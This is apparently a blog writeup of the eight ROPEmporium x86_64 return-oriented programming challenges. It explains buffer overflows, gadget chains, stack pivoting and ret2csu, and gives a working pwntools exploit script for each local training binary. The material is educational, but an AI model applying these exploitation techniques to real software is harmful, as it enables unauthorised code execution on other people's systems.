ROPEmporium Writeups
Overview
ROPEmporium is a series of eight challenges designed to teach the basics of return-oriented programming. The challenge binaries are available in several different architectures, but this writeup will look only at the x86_64 version.
The challenge binaries and instructions are available here.
ret2win
In order to read the flag, we need to call the function ret2win
:
Fortunately, we are provided with a vulnerable function. This function allows us to read 0x38 bytes into a buffer of size 0x20, allowing us to overflow the buffer and overwrite the return address.
We can write 40 bytes to fill the buffer, then overwrite the return address with the address of ret2win
.
from pwn import *
chal = process("./ret2win")
send_str = b'a'*40 + p64(0x40075a)
print(chal.recvuntil(b'>'))
chal.sendline(send_str)
print(chal.recvall())
split
For this challenge, we will need to do more than just call a single function. We are provided with the command string to open the flag file, but it is not used as an argument to system()
.
We are also provided with a call to system("/bin/ls")
.
The solution is to load the address of the necessary string into rdi
, then return to the call to system()
. To do this, we need the gadget pop rdi; ret
, which we can find at address 0x4007c3
.
from pwn import *
pop_rdi = 0x4007c3
string_addr = 0x601060
system_addr = 0x40074b
chal = process("./split")
send_str = b'a'*40 + p64(pop_rdi) + p64(string_addr) + p64(system_addr)
print(chal.recvuntil(b'>'))
chal.sendline(send_str)
print(chal.recvall())
callme
This challenge tells us that we must call three functions called callme_one
, callme_two
, and callme_three
with arguments 0xdeadbeefdeadbeef
, 0xcafebabecafebabe
, and 0xd00df00dd00df00d
.
The callme
functions are located in the external library libcallme.so
. We can find calls to each of the callme
functions in the .plt
section. To call the functions, we must find a way to load the correct arguments into rsi
, rdi
, and rax
, then return to the address in the .plt
section where they are called.
To make things easier for us, the challenge provides us with “useful gadgets” that load in the correct arguments. We must return to this gadget before each function call.
Here is a first attempt at a script:
from pwn import *
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
one_addr = 0x400720
two_addr = 0x400740
three_addr = 0x4006f0
gadget = 0x40093c
call_args = p64(gadget) + p64(arg1) + p64(arg2) + p64(arg3)
chal = process('./callme')
send_str = b'a'*40 + call_args + p64(one_addr) + call_args + p64(two_addr) + call_args + p64(three_addr)
f = open('fake_stdin','wb')
f.write(send_str)
f.close()
print(chal.recvuntil(b'>'))
chal.sendline(send_str)
print(chal.recvall())
This script seems like it should work, but it segfaults. What has gone wrong? Looking at the segfault in gdb, it appears that callme_one
was called with the correct arguments, but the segfault has occurred at a seemingly random point in fclose()
.
This left me confused for a while, but it turns out that ROPEmporium has a “common pitfalls” section warning us of this exact problem:
If you’re segfaulting on a
movaps
instruction inbuffered_vfprintf()
ordo_system()
in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such asprintf()
orsystem()
. Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack.movaps
triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Sure enough, our segfault happens on a movaps
instruction. All we need to do to fix the issue is add an extra ret
instruction to the start of the chain.
Here is our final script with the extra ret
added:
from pwn import *
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
one_addr = 0x400720
two_addr = 0x400740
three_addr = 0x4006f0
gadget = 0x40093c
ret = 0x4006be
call_args = p64(gadget) + p64(arg1) + p64(arg2) + p64(arg3)
chal = process('./callme')
send_str = b'a'*40 + p64(ret) + call_args + p64(one_addr) + call_args + p64(two_addr) + call_args + p64(three_addr)
print(chal.recvuntil(b'>'))
chal.sendline(send_str)
print(chal.recvall())
write4
For this challenge, we are given a function called print_file()
that we must call with the argument flag.txt
, but this string is not present in the executable. We will need to figure out how to write the string ourselves.
The “useful gadget” provided to us this time around is mov [r14], r15; ret
. If we can load an address we want to write to into r14
and the string flag.txt
into r15
, then we can write flag.txt
to memory. This will allow us to pass its address to print_file()
as an argument.
flag.txt
is exactly 8 bytes long, so it fits into a register. Using the gadget pop r14; pop r15; ret
, we can pop an address in the .data
section into r14
and flag.txt
into r15. I chose the start of the .data
section as the address to use for this - it is not used by any other part of the program, and it is all zeroes, meaning that we do not have to worry about null terminating the string. We can then add mov [r14], r15; ret
as the next part of the chain, allowing us to write the string to memory.
At that point, we can pass the address of flag.txt
as an argument to print_file()
via rdi
, as we did with the previous challenges.
Final solve script:
from pwn import *
pop_r14_r15 = 0x400690 # pop r14; pop r15; ret
mov_r14 = 0x400628 # mov [r14], r15; ret
pop_rdi = 0x400693 # pop rdi; ret
data_addr = 0x601028 # start of .data section
print_file = 0x400620 # call print_file
chal = process("./write4")
send_str = b'a'*40 + p64(pop_r14_r15) + p64(data_addr) + b'flag.txt' + p64(mov_r14) + p64(pop_rdi) + p64(data_addr) + p64(print_file)
print(chal.recvuntil(b'>'))
chal.sendline(send_str)
print(chal.recvall())
badchars
This challenge is identical to the last one, except that we are prevented from using the characters x
, g
, a
, and .
. This means that we can no longer directly write flag.txt
to the buffer - we have to obfuscate it somehow.
The useful gadgets for this challenge give us a clue on how to do this. We are given the gadget xor byte ptr [r15], r14b ; ret
, so we can perform a single-byte XOR on an arbitrary value.
To avoid the bad characters, we can XOR each byte of the input string with 0xff, then create a chain that performs the XOR again to restore the original values. At first, I tried to construct the chain like this:
deobfuscate_flag = b''
for addr in range(data_addr, data_addr + 8):
deobfuscate_flag += p64(pop_r15) # pop r15; ret
deobfuscate_flag += p64(addr)
deobfuscate_flag += p64(xor_data) # xor byte ptr [r15], r14b ; ret
This almost worked, but there was a problem: the x
in flag.txt
was not being XORed. It turned out that this had to do with where the data was being written - my chosen address for the obfuscated flag.txt
was 0x601028
, and the x
was located at 0x60102e
. But 0x2e is .
, which is one of the forbidden characters! We can deal with the issue by using the start address 0x601038
instead.
For the final script, we need to write the obfuscated flag.txt
to memory, XOR each byte with 0xff to restore it, then pass it as an argument to print_file()
.
from pwn import *
pop_r12 = 0x40069c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_r13 = 0x400634 # mov qword ptr [r13], r12 ; ret
pop_r15 = 0x4006a2 # pop r15; ret
xor_data = 0x400628 # xor byte ptr [r15], r14b ; ret
pop_rdi = 0x4006a3 # pop rdi; ret
data_addr = 0x601030 # start of .data section
print_file = 0x400620 # call print_file
xor_flag_txt = xor(b'flag.txt', b'\xff')
chal = process("./badchars")
deobfuscate_flag = b''
for addr in range(data_addr, data_addr + 8):
deobfuscate_flag += p64(pop_r15)
deobfuscate_flag += p64(addr)
deobfuscate_flag += p64(xor_data)
write_flag_txt = b'a'*40 + p64(pop_r12) + xor_flag_txt + p64(data_addr) + p64(0xff) + p64(data_addr) + p64(mov_r13)
call_print = p64(pop_rdi) + p64(data_addr) + p64(print_file)
send_str = write_flag_txt + deobfuscate_flag + call_print
f = open('fake_stdin','wb')
f.write(send_str)
f.close()
fluff
Up to this point, the challenge binaries have included “useful gadgets” that do exactly what we need, which isn’t very realistic. For this challenge, we are instead provided with a set of “questionable gadgets” that may be helpful, but we’ll have to be more creative in how we use them.
We need to find some way to write the flag.txt
string. There aren’t many gadgets that let us store data into memory, so we’ll have to work backwards from the few gadgets we have. The gadget add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
looks promising, since we also have pop rbp ; ret
. This means that we can choose an arbitrary address and add the value in ebx
to it. If we choose an address that we know will contain all zeroes, this is the same as writing the value in ebx
to the address.
This is where the “questionable gadgets” come in. If we pop the correct values into rcx
and rdx
, then the instruction bextr rbx, rcx, rdx
allows us to write to rbx
.
Felix Cloutier’s description of the bextr
instruction tells us that it does the following:
Extracts contiguous bits from the first source operand (the second operand) using an index value and length value specified in the second source operand (the third operand). Bit 7:0 of the second source operand specifies the starting bit position of bit extraction. A START value exceeding the operand size will not extract any bits from the second source operand. Bit 15:8 of the second source operand specifies the maximum number of bits (LENGTH) beginning at the START position to extract.
In our case, the destination register is rbx
. With the right choice of values in rcx
and rdx
, we can write an arbitrary value to rbx
. The first source operand (rcx
) should contain the value that we want to write to rbx
. The second source operand (rdx
) should contain the value 0 in bits 7:0 (to specify that we’re starting the extraction at position 0) and the value 64 in bits 15:8 (to specify that we want to extract all 64 bits).
Note that our gadget adds 0x3ef2
to rcx
before performing the bextr
operation. To correct for this, we can simply subtract 0x3ef2
from our desired value before passing it in.
We have now found a way to write to memory. We can use bextr
to write to rbx, then write that value to memory with the add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
gadget. From there, the solution proceeds in the same way as the write4
challenge.
Solve script:
from pwn import *
bextr_addr = 0x40062a
pop_rdi = 0x4006a3 # pop rdi ; ret
pop_rbp = 0x400588 # pop rbp ; ret
add_rbp = 0x4005e8 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
data_addr = 0x601028
print_file = 0x400620
def write_value(value, data_addr):
payload = p64(pop_rdi) + p64(data_addr)
payload += p64(bextr_addr) + p64(64 << 8) + p64(int.from_bytes(value, 'little') - 0x3ef2) # use bextr to get value into rbx
payload += p64(pop_rbp) + p64(data_addr + 0x3d)
payload += p64(add_rbp)
return payload
chal = process("./fluff")
send_str = b'a'*40
send_str += write_value(b'flag', data_addr)
send_str += write_value(b'.txt', data_addr+4) # we can only write 32 bits at a time, so we need 2 writes
send_str += p64(pop_rdi) + p64(data_addr) + p64(print_file)
print(chal.recvuntil(b'>'))
chal.sendline(send_str)
print(chal.recvall())
pivot
In this challenge, we need to call a library function that is not imported. The ret2win
function is located in libpivot.so
at offset 0xa81
:
ret2win
is not imported, but another function called foothold_function
is. Its offset is 0x96a
:
We do not know where ret2win
will be loaded into memory, but we know that its offset is 0xa81 - 0x96a = 0x117
from foothold_function
.
In addition, the pwnme
function is different from the previous challenge. We are given a very limited amount of space on the stack for our chain, but we have a separate write to 0x100 bytes of memory on the heap. Normally, we would likely have to find some way to leak the address of this heap memory, but in this case the challenge helpfully prints it out.
The chain at the pivot address will contain most of what we need to do. The buffer overflow on the stack will only be used to overwrite the original stack pointer with the address of the pivot.
The “useful gadgets” allow us to do exactly that: we can pop the location of the pivot into rax
, then exchange the value of rax
with that of rsp
. With the pivot address in rsp
, we can continue the chain from there.
We now need to call ret2win
. Since we know the offset of ret2win
relative to foothold_function
, we will start by calling foothold_function
in order to resolve its .got.plt
entry. We first pop the pointer to the .got.plt
entry into rax
, then use the gadget mov rax, qword ptr [rax] ; ret
to get the value at that entry.
We can then add the offset to the address of foothold_function
in order to obtain the address of ret2win
. We can pop the offset into rbp
and use the gadget add rax, rbp ; ret
to add them. The last part of the chain is jmp rax
, which takes us to ret2win
.
Final script:
from pwn import *
chal = process("./pivot")
# write to pivot address
foothold_call = 0x400720
pop_rbp = 0x4007c8 # pop rbp ; ret
pop_rax = 0x4009bb # pop rax; ret
jmp_rax = 0x4007c1 # jmp rax
read_rax_addr = 0x4009c0 # mov rax, qword ptr [rax] ; ret
add_rax_rbp = 0x4009c4 # add rax, rbp ; ret
foothold_ptr = 0x601040
offset = 0xa81 - 0x96a
pivot_chain = b''
pivot_chain += p64(foothold_call)
pivot_chain += p64(pop_rbp) + p64(offset)
pivot_chain += p64(pop_rax) + p64(foothold_ptr)
pivot_chain += p64(read_rax_addr)
pivot_chain += p64(add_rax_rbp)
pivot_chain += p64(jmp_rax)
chal.recvuntil(b'pivot: ')
pivot_addr = int(chal.recv(numb=14), 16)
chal.recvuntil(b'>')
chal.sendline(pivot_chain)
# write to stack
xchg_rsp = 0x4009bd # xchg rsp, rax ; ret
stack_chain = b'a'*40 + p64(pop_rax) + p64(pivot_addr) + p64(xchg_rsp)
chal.recvuntil(b'>')
chal.sendline(stack_chain)
print(chal.recvall())
ret2csu
This challenge requires us to call a function with three arguments like callme
, but this time there is no longer a convenient way to get data into rdx
. We will need to use a more convoluted method known as ret2csu
.
As the name suggests, we’re going to be using two gadgets in the __libc_csu_init()
function. The advantage to this strategy is that __libc_csu_init()
function is present in any C binary compiled for Linux on x86_64, so we can use it in many different attacks.
There are two main gadgets in __libc_csu_init()
that we will be using for this chain. The first pops values into rbx
, rbp
, r12
, r13
, r14
, and r15
:
And the second moves values to rdx
, rsi
, and edi
from r13
, r14
, and r15
:
We can chain these two gadgets together in order to write arbitrary values to rdx
and rsi
. The second gadget ends in a call
, but we can choose the address that is called because the first gadget lets us write arbitrary values to rbx
and r12
. In order to resume our chain after the call, we want to call a gadget of the form pop; ret
.
However, the call address is passed via a pointer in [r12+rbx*8]
, so if we want to call anything, we need a pointer to it first. I looked at several different existing pointers to executable code, but nothing looked suitable for what I needed. Instead, I found a way to write a pointer to a pop rbp; ret
gadget to the .data
section. There were no mov
instructions that I could use for this, so I instead used the gadget add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
to write to an area in memory that I knew would contain all zeroes. (This is definitely not the only possible approach for this part of the challenge, so I also recommend looking at other writeups to see how they handled it.)
Once the call
instruction is handled correctly, the two gadgets in __libc_csu_init()
can be chained together to perform writes to rdx
and rsi
. These gadgets also allow a write to edi
, but ret2win
requires a 64-bit argument, so we need to write to rdi
separately. Fortunately, the binary contains a pop rdi; ret
gadget, so this is easy. With all three arguments written, we can then call ret2win
from its .plt
entry.
Final script:
from pwn import *
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
pop_rdi = 0x4006a3 # pop rdi ; ret
pop_rsi = 0x4006a1 # pop rsi ; pop r15 ; ret
mov_rdx_and_call = 0x400680
pop_ret_ptr = 0x601028
pop_rbx_rbp_r12 = 0x40069a
add_rbp = 0x4005e8 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
pop_rbp = 0x400588 # pop rbp ; ret
ret2win = 0x400510
ret = 0x4006a4
send_str = b'a'*40 + p64(ret)
send_str += p64(pop_rbx_rbp_r12) + p64(pop_rbp) + b'a'*40
send_str += p64(pop_rbp) + p64(pop_ret_ptr + 0x3d)
send_str += p64(add_rbp)
send_str += p64(pop_rbx_rbp_r12) + p64(pop_ret_ptr // 8) + b'a'*8 + p64(pop_ret_ptr % 8) + p64(arg1) + p64(arg2) + p64(arg3)
send_str += p64(mov_rdx_and_call)
send_str += p64(pop_rdi) + p64(arg1)
send_str += p64(ret2win)
chal = process('./ret2csu')
f = open('fake_stdin','wb')
f.write(send_str)
f.close()
print(chal.recvuntil(b'>'))
chal.sendline(send_str)
print(chal.recvall())